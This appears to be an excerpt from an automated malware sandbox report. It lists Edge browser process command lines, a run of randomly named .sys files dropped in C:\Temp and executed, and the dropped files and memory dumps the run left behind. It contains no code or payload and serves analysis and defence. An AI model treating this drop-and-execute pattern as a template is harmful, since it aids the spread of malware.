C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,12049742299655677130,15945758330247013388,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5676,i,5169744387753033749,2659580053807989333,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=160,i,16282008645852059,14479714068964549649,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=160,i,15822473145992974962,17123681010113009033,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,3703368948872651880,1674696531930256708,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=924 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5128,i,12413467263927340675,11784669534978541566,262144 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6692 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3092,i,5880927391038260669,11128190638623460664,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3440,i,10250959521448657089,9871793985705118803,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\kfcxusmkhfzxspki.sysC:\Temp\kfcxusmkhfzxspki.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\bzurmkecwu.sysC:\Temp\bzurmkecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\rljhbztrmj.sysC:\Temp\rljhbztrmj.sys1⤵
- Executes dropped EXE
-
C:\Temp\ebwtoljgby.sysC:\Temp\ebwtoljgby.sys1⤵
- Executes dropped EXE
-
C:\Temp\jdbvtolgdy.sysC:\Temp\jdbvtolgdy.sys1⤵
- Executes dropped EXE
-
C:\Temp\lidbytqoif.sysC:\Temp\lidbytqoif.sys1⤵
- Executes dropped EXE
-
C:\Temp\dyvqnifays.sysC:\Temp\dyvqnifays.sys1⤵
- Executes dropped EXE
-
C:\Temp\pnhfzxspnk.sysC:\Temp\pnhfzxspnk.sys1⤵
- Executes dropped EXE
-
C:\Temp\xvpnkfcxvp.sysC:\Temp\xvpnkfcxvp.sys1⤵
- Executes dropped EXE
-
C:\Temp\fzwupmhfzx.sysC:\Temp\fzwupmhfzx.sys1⤵
- Executes dropped EXE
-
C:\Temp\xrpjhbzwrp.sysC:\Temp\xrpjhbzwrp.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhbztrmjeb.sysC:\Temp\jhbztrmjeb.sys1⤵
-
C:\Temp\bwtrljgeyw.sysC:\Temp\bwtrljgeyw.sys1⤵
-
C:\Temp\qligaytqlj.sysC:\Temp\qligaytqlj.sys1⤵
-
C:\Temp\vqnigdyvqn.sysC:\Temp\vqnigdyvqn.sys1⤵
-
C:\Temp\ifaxsqkifd.sysC:\Temp\ifaxsqkifd.sys1⤵
-
C:\Temp\hfvpnhfzxs.sysC:\Temp\hfvpnhfzxs.sys1⤵
-
C:\Temp\mkhfcxusmk.sysC:\Temp\mkhfcxusmk.sys1⤵
-
C:\Temp\rpmhezxrpj.sysC:\Temp\rpmhezxrpj.sys1⤵
-
C:\Temp\rojhbztrlj.sysC:\Temp\rojhbztrlj.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
bzurmkecwu.sys
ebvtromgey.exe
ebwtoljgby.sys
hfcwupmhez.exe
i_ebvtromgey.exe
i_hfcwupmhez.exe
i_rljhbztrmj.exe
i_tqoigaytql.exe
i_usmkhezwup.exe
igaywqodbv.exe
jdbvtolgdy.sys
kfcxusmkhfzxspki.exe
kfcxusmkhfzxspki.sys
lidbytqoif.sys
rljhbztrmj.exe
rljhbztrmj.sys
tqoigaytql.exe
usmkhezwup.exe
settings.dat
settings.dat
65180f90-f466-41a8-a535-9cc458644966.tmp
the-real-index
the-real-index~RFe5956d1.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Secure Preferences
OperationConfig
OperationConfig~RFe59f1a9.TMP
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
metadata.json
metadata.json
0abae76d-ef25-45c3-a405-ccdea7d400e7.tmp
e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
metadata.json
fa5ee841-c383-4427-bc08-f0ff546474d3.tmp
content_new.js
CreateProcess.exe
memory/124-727-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/616-703-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/696-565-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1100-638-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1304-657-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1304-510-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1500-598-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1648-569-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1648-699-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2296-523-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2684-470-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2944-681-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3252-661-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3252-498-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3404-723-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4260-550-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4372-66-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4608-625-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5020-423-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5416-546-0x0000000000010000-0x00000000000AB000-memory.dmp